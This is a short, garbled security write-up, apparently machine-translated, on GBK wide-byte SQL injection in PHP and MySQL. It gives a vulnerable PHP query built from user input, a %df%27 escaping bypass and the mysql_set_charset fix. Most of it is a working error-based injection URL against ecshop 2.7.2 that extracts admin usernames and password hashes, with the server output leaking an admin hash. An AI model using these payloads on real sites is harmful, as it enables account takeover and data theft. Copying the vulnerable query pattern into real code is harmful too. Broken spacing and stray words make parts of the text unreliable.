Mysql gbk wide byte encoding injection vulnerability in php and solutions.

MYSQL database in php, if it is GBK encoding. be sure to check the code test for the GBK wide byte encoding vulnerability. PHP file require_once ('mysql. php '); $ newdb = new db (); $ user = $ _ GET ['user']; $ t = "SELECT * FROM user WHERE user = '{$ user}'"; $ dataRs = $ newdb-> selects ($ t); under normal circumstances, magic_quote_gpc is ON, if you enter http://www.bkjia.com /Safe/inject. php? User = 11' and 1 = 2 # the SQL statement is changed to SELECT * FROM user WHERE user = '1 \ 'and 1 = 2 #'. \ escape is automatically added, what if we construct a special wide byte encoding? http://www.test.com/safe/inject.php?user=11%df%27 And 1 = 2 # the SQL statement becomes SELECT * FROM user WHERE user = '11 running' and 1 = 2. Then 11% df will be parsed to 11, and % 27 will be parsed to 'by evil, bypassing the gpc escape, and then constructing and injecting references: http://www.bkjia.com /Article/201207/139595. html solution: http://www.bkjia.com /Article/201301/182880 .html changed the original set names gbk to mysql_set_charset ("gbk", $ this-> conn). ecshop 2.7.2 GBK also has this vulnerability. Direct http://www.xx.com/user.php?act=is_registered&username=%ce%27%20and%201=1%20union%20select%201%20and%20%28select%201%20from%28select%20count%28 * % 29, concat % 28% 28 Select % 20 concat % 280x5b, user_name, 0x3a, password, 0x5d % 29% 20 FROM % 20ecs_admin_user % 20 limit %, 1% 29, floor % 28 rand % 280% 29*2% 29% 29x % 20 from % 20information_schema.tables % 20 group % 20by % 20x % 29a % 29% 20% 23 error MySQL server error report: array ([0] => Array ([message] => MySQL Query Error) [1] => Array ([SQL] => SELECT user_id FROM 'shop '. 'ecs _ users' WHERE user_name = 'hangzhou' and 1 = 1 union select 1 and (select 1 from (select count (*), concat (Select concat (0x5b, user_name, 0x3a, password, 0x5d) FROM ecs_admin_user limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) )#') [2] => Array ([error] => Duplicate entry '[admin: 7fef6171469e80d32c0559f88b377245] 1' for key'group _ key ') [3] => Array ([errno] => 1062) broke the account password